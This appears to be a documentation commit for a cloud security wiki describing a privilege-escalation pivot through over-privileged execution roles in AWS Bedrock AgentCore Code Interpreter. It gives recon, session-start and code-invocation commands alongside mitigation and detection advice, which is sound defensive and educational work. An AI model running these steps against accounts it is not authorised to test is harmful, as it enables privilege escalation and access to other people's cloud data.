docs(aws): add AgentCore Code Interpreter role pivot privesc

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Oussama Ait Manssour
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# AWS Bedrock AgentCore - Code Interpreter Role Pivot
## Service
**Amazon Bedrock AgentCore**
## Technique Name
**Code Interpreter Role Pivot** (Privilege escalation/lateral movement via over-privileged `executionRoleArn`)
## Why this Matters
Amazon Bedrock AgentCore introduced a "Code Interpreter" feature in mid-2025 that acts as a managed compute surface. It executes code within a Firecracker MicroVM-isolated environment. The critical security hook is the **`executionRoleArn`**: this is the IAM identity the interpreter uses to interact with other AWS services.
When a developer grants this service-linked role excessive permissions (e.g., `s3:*`, `secretsmanager:GetSecretValue`), any user with the ability to invoke the interpreter can effectively "hijack" those permissions to move laterally or escalate privileges within the account.
## Preconditions (The Misconfiguration)
1. **Over-privileged Execution Role:** An AgentCore Code Interpreter is configured with a role that has access to sensitive data or administrative APIs.
2. **Broad Invocation Access:** A low-privileged IAM principal is granted permission to start or interact with these sessions.
3. **Governance Failure:** The environment is treated as "AI experimental tooling" rather than "Managed Compute," bypassing standard Least Privilege reviews.
## Required IAM Actions
To execute this pivot, an attacker needs one or more of the following `bedrock-agentcore` actions:
* `bedrock-agentcore:StartCodeInterpreterSession`
* `bedrock-agentcore:InvokeCodeInterpreter`
* `bedrock-agentcore:CreateCodeInterpreter` (Allows creating a session with a pre-existing role)
> **Note on `iam:PassRole`:** In current AWS Service Authorization References, `CreateCodeInterpreter` does not explicitly list `iam:PassRole` as a dependency in the same way `CreateGateway` does. This creates a potential "PassRole-less" role selection edge case that should be validated in target environments.
## Exploitation Flow
### 1. Reconnaissance
Identify existing interpreters and their associated execution roles.
```bash
aws bedrock-agentcore-control list-code-interpreters
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <TARGET_ID>
```
### 2. Session Initiation
Start a session to gain access to the compute environment.
```bash
aws bedrock-agentcore start-code-interpreter-session --code-interpreter-id <TARGET_ID>
```
### 3. Lateral Movement / Exfiltration
Invoke the interpreter to execute Python code that uses the `executionRoleArn` credentials to access other services.
```python
import boto3
# The interpreter uses the executionRoleArn automatically
s3 = boto3.client('s3')
print(s3.list_buckets())
```
## Mitigation & Detection
### **Prevention**
* **Apply Permission Boundaries:** Attach a boundary to the `executionRoleArn` to ensure it cannot perform IAM mutations or sensitive data deletions, regardless of its primary policy.
* **Restrict Invocation:** Limit `StartCodeInterpreterSession` and `InvokeCodeInterpreter` to specific, authorized admin principals.
* **Identity Scoping:** Use the `bedrock-agentcore:sessionId` and `bedrock-agentcore:actorId` condition keys to ensure sessions are isolated to specific users.
### **Detection**
* **CloudTrail Monitoring:** Monitor for `StartCodeInterpreterSession` events from unexpected IPs or principals.
* **Credential Usage:** Alert on the use of AgentCore execution role credentials (detectable via the `UserAgent` or `PrincipalId` in CloudTrail) to access S3 buckets or Secrets Manager outside of normal AI operations.
## References
* [AWS CLI Reference: create-code-interpreter](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore-control/create-code-interpreter.html)
* [AWS Service Authorization: Bedrock AgentCore](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonbedrockagentcore.html)
* [AWS CLI: start-code-interpreter-session](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html)

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# AWS - Bedrock PrivEsc
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## Amazon Bedrock AgentCore
### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
AgentCore Code Interpreter is a managed execution environment. **Custom Code Interpreters** can be configured with an **`executionRoleArn`** that “provides permissions for the code interpreter to access AWS services”.
If a **lower-privileged IAM principal** can **start + invoke** a Code Interpreter session that is configured with a **more privileged execution role**, the caller can effectively **pivot into the execution roles permissions** (lateral movement / privilege escalation depending on role scope).
> [!NOTE]
> This is typically a **misconfiguration / excessive permissions** issue (granting wide permissions to the interpreter execution role and/or granting broad invoke access).
> AWS explicitly warns to avoid privilege escalation by ensuring execution roles have **equal or fewer** privileges than identities allowed to invoke.
#### Preconditions (common misconfiguration)
- A **custom code interpreter** exists with an over-privileged **execution role** (ex: access to sensitive S3/Secrets/SSM or IAM-admin-like capabilities).
- A user (developer/auditor/CI identity) has permissions to:
- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
- (Optional) The user can also create interpreters: `bedrock-agentcore:CreateCodeInterpreter` (lets them create a new interpreter configured with an execution role, depending on org guardrails).
#### Recon (identify custom interpreters and execution role usage)
List interpreters (control-plane) and inspect their configuration:
```bash
aws bedrock-agentcore-control list-code-interpreters
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
````
> The create-code-interpreter command supports `--execution-role-arn` which defines what AWS permissions the interpreter will have.
#### Step 1 - Start a session (this returns a `sessionId`, not an interactive shell)
```bash
SESSION_ID=$(
aws bedrock-agentcore start-code-interpreter-session \
--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
--name "arte-oussama" \
--query sessionId \
--output text
)
echo "SessionId: $SESSION_ID"
```
#### Step 2 - Invoke code execution (Boto3 or signed HTTPS)
There is **no interactive python shell** from `start-code-interpreter-session`. Execution happens via **InvokeCodeInterpreter**.
**Option A - Boto3 example (execute Python + verify identity):**
```python
import boto3
client = boto3.client("bedrock-agentcore", region_name="<REGION>")
# Execute python inside the Code Interpreter session
resp = client.invoke_code_interpreter(
codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
sessionId="<SESSION_ID>",
name="executeCode",
arguments={
"language": "python",
"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
}
)
# Response is streamed; print events for visibility
for event in resp.get("stream", []):
print(event)
```
If the interpreter is configured with an execution role, the `sts:GetCallerIdentity()` output should reflect that roles identity (not the low-priv caller), demonstrating the pivot.
**Option B - Signed HTTPS call (awscurl):**
```bash
awscurl -X POST \
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
--service bedrock-agentcore \
--region <Region> \
-d '{
"name": "executeCode",
"arguments": {
"language": "python",
"code": "print(\"Hello from AgentCore\")"
}
}'
```
#### Impact
* **Lateral movement** into whatever AWS access the interpreter execution role has.
* **Privilege escalation** if the interpreter execution role is more privileged than the caller.
* Harder detection if CloudTrail data events for interpreter invocations are not enabled (invocations may not be logged by default, depending on configuration).
#### Mitigations / Hardening
* **Least privilege** on the interpreter `executionRoleArn` (treat it like Lambda execution roles / CI roles).
* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) and who can start sessions.
* Use **SCPs** to deny InvokeCodeInterpreter except for approved agent runtime roles (org-level enforcement can be necessary).
* Enable appropriate **CloudTrail data events** for AgentCore where applicable; alert on unexpected invocations and session creation.
## References
- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/)
- [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/)
- [AWS CLI: create-code-interpreter (`--execution-role-arn`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore-control/create-code-interpreter.html)
- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html)
- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html)
- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
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